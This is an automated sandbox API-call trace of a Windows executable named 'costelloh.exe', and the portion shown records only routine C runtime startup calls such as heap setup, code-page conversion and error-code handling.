# Flog Txt Version 1
# Analyzer Version: 3.0.2
# Analyzer Build Date: May  3 2019 14:51:36
# Log Creation Date: 04.05.2019 18:35:04.611

Process:
	id = "1"
	image_name = "costelloh.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\costelloh.exe"
	page_root = "0x6aba000"
	os_pid = "0x39c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\costelloh.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x37c

	[0049.907] GetStartupInfoW (in: lpStartupInfo=0xaffbf8 | out: lpStartupInfo=0xaffbf8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0049.907] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0049.907] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2720000
	[0049.915] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0049.915] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0
	[0049.915] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20
	[0049.915] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40
	[0049.915] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00
	[0049.916] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x214) returned 0x27205a8
	[0049.916] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000
	[0049.916] GetCurrentThreadId () returned 0x37c
	[0049.916] GetStartupInfoW (in: lpStartupInfo=0xaffb94 | out: lpStartupInfo=0xaffb94*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) 
	[0049.916] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x800) returned 0x27207c8
	[0049.916] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0049.916] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0049.916] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0049.916] SetHandleCount (uNumber=0x20) returned 0x20
	[0049.916] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\costelloh.exe\" "
	[0049.916] GetEnvironmentStringsW () returned 0xb9f830*
	[0049.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381
	[0049.917] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x565) returned 0x2720fd0
	[0049.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2720fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381
	[0049.917] FreeEnvironmentStringsW (penv=0xb9f830) returned 1
	[0049.917] GetLastError () returned 0xcb
	[0049.917] SetLastError (dwErrCode=0xcb) 
	[0049.917] GetLastError () returned 0xcb
	[0049.917] SetLastError (dwErrCode=0xcb) 
	[0049.917] GetLastError () returned 0xcb
	[0049.917] SetLastError (dwErrCode=0xcb) 
	[0049.917] GetACP () returned 0x4e4
	[0049.917] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x220) returned 0x2721540
	[0049.917] GetLastError () returned 0xcb
	[0049.917] SetLastError (dwErrCode=0xcb) 
	[0049.917] IsValidCodePage (CodePage=0x4e4) returned 1
	[0049.917] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xaffb5c | out: lpCPInfo=0xaffb5c) returned 1
	[0049.917] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xaff628 | out: lpCPInfo=0xaff628) returned 1
	[0049.917] GetLastError () returned 0xcb
	[0049.918] SetLastError (dwErrCode=0xcb) 
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0xaff3a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧ġĀ") returned 256
	[0049.918] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鲧ġĀ", cchSrc=256, lpCharType=0xaff63c | out: lpCharType=0xaff63c) returned 1
	[0049.918] GetLastError () returned 0xcb
	[0049.918] SetLastError (dwErrCode=0xcb) 
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0xaff378, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0049.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0049.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xaff168, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0049.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0xaff93c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc5\xdd\x7b\xc5\x74\xfb\xaf", lpUsedDefaultChar=0x0) returned 256
	[0049.918] GetLastError () returned 0xcb
	[0049.918] SetLastError (dwErrCode=0xcb) 
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0049.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xaffa3c, cbMultiByte=256, lpWideCharStr=0xaff398, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0049.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0049.918] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xaff188, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0049.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0xaff83c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xc5\xdd\x7b\xc5\x74\xfb\xaf", lpUsedDefaultChar=0x0) returned 256
	[0049.918] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x121f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0049.918] GetLastError () returned 0x0
	[0049.918] SetLastError (dwErrCode=0x0) 
	[0049.918] GetLastError () returned 0x0
	[0049.918] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.919] SetLastError (dwErrCode=0x0) 
	[0049.919] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
	[0049.920] GetLastError () returned 0x0
	[0049.920] SetLastError (dwErrCode=0x0) 
